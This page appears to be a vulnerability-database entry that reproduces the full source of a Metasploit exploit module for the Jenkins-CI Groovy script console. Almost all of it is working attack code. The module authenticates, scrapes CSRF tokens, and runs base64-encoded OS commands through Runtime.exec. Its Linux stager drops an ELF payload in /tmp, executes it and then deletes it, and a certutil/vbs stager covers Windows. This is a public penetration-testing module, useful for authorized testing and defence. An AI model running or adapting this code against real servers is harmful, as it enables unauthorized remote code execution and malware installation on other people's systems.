Jenkins-CI Script-Console Java Execution

2013-10-15T19:07:48
ID MSF:EXPLOIT/MULTI/HTTP/JENKINS_SCRIPT_CONSOLE
Type metasploit
Reporter Rapid7
Modified 2019-08-02T14:48:53

Description

This module uses the Jenkins-CI Groovy script console to execute OS commands using Java.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Jenkins-CI Script-Console Java Execution',
      'Description'    => %q{
          This module uses the Jenkins-CI Groovy script console to execute
        OS commands using Java.
      },
      'Author' =>
        [
          'Spencer McIntyre',
          'jamcut',
          'thesubtlety'
        ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'WfsDelay' => '10',
        },
      'References'     =>
        [
          ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
        ],
      'Platform'  => %w{ win linux unix },
      'Targets'   =>
        [
          ['Windows',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win',
              'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
            }
          ],
          ['Linux',    {'Arch'  => ARCH_X86, 'Platform' => 'linux' }],
          ['Unix CMD', {'Arch'  => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
        ],
      'DisclosureDate' => 'Jan 18 2013',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
    ))

    register_options(
      [
        OptString.new('USERNAME',  [ false, 'The username to authenticate as', '' ]),
        OptString.new('PASSWORD',  [ false, 'The password for the specified username', '' ]),
        OptString.new('API_TOKEN',  [ false, 'The API token for the specified username', '' ]),
        OptString.new('TARGETURI', [ true,  'The path to the Jenkins-CI application', '/jenkins/' ])
      ])

    self.needs_cleanup = true
  end

  def post_auth?
    true
  end

  def check
    uri = target_uri
    uri.path = normalize_uri(uri.path)
    uri.path << "/" if uri.path[-1, 1] != "/"
    res = send_request_cgi({'uri' => "#{uri.path}login"})
    if res and res.headers.include?('X-Jenkins')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def on_new_session(client)
    if not @to_delete.nil?
      print_warning("Deleting #{@to_delete} payload file")
      execute_command("rm #{@to_delete}")
    end
  end

  def http_send_command(cmd, opts = {})
    request_parameters = {
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, 'script'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
      'vars_post' =>
        {
          'script' => java_craft_runtime_exec(cmd),
          'Submit' => 'Run'
        }
    }
    request_parameters['cookie'] = @cookie if @cookie != nil
    request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
    res = send_request_cgi(request_parameters)
    if not (res and res.code == 200)
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end
  end

  def java_craft_runtime_exec(cmd)
    decoder = Rex::Text.rand_text_alpha(5, 8)
    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
    cmd_array = Rex::Text.rand_text_alpha(5, 8)
    jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

    jcode << "String [] #{cmd_array} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
      jcode << "#{cmd_array}[1] = \"/c\";\n"
    else
      jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
      jcode << "#{cmd_array}[1] = \"-c\";\n"
    end
    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
    jcode
  end

  def execute_command(cmd, opts = {})
    vprint_status("Attempting to execute: #{cmd}")
    http_send_command("#{cmd}")
  end

  def linux_stager
    cmds = "echo LINE | tee FILE"
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/\=/, "\\u003d")
    file = rand_text_alphanumeric(4+rand(4))

    execute_command("touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
    base64.each_line do |line|
      line.chomp!
      cmd = cmds
      cmd.gsub!(/LINE/, line)
      execute_command(cmds)
    end

    execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("chmod +x /tmp/#{file}")
    execute_command("rm /tmp/#{file}.b64")

    execute_command("/tmp/#{file}")
    @to_delete = "/tmp/#{file}"
  end

  def exploit
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    @uri.path << "/" if @uri.path[-1, 1] != "/"
    print_status('Checking access to the script console')
    res = send_request_cgi({'uri' => "#{@uri.path}script"})
    fail_with(Failure::Unknown, 'No Response received') if not res

    @cookie = nil
    @crumb = nil
    if res.code != 200
       if !datastore['API_TOKEN'].empty?
          print_status('Authenticating with token...')
          res = send_request_cgi({
            'method'    => 'GET',
            'uri'       => normalize_uri(@uri.path, "crumbIssuer/api/json"),
            'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
          })
          if (res and res.code == 401)
            fail_with(Failure::NoAccess, 'Login failed')
          end
       else
          print_status('Logging in...')
          res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => normalize_uri(@uri.path, "j_acegi_security_check"),
            'vars_post' =>
              {
                'j_username' => datastore['USERNAME'],
                'j_password' => datastore['PASSWORD'],
                'Submit'     => 'log in'
              }
          })

          if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
            fail_with(Failure::NoAccess, 'Login failed')
          end
          if res.get_cookies.split('JSESSIONID').count > 2
            sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
          else
            sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
          end
          @cookie = "#{sessionid}"

          res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
          fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
       end
    else
      print_status('No authentication required, skipping login...')
    end

    if res.body =~ /"\.crumb", "([a-z0-9]*)"/
      print_status("Using CSRF token: '#{$1}' (.crumb style)")
      @crumb = {:name => '.crumb', :value => $1}
    elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
      print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
      @crumb = {:name => 'Jenkins-Crumb', :value => $1}
    end

    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending command stager...")
      execute_cmdstager({:linemax => 2049})
    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      http_send_command("#{payload.encoded}")
    when 'linux'
      print_status("#{rhost}:#{rport} - Sending Linux stager...")
      linux_stager
    end

    handler
  end
end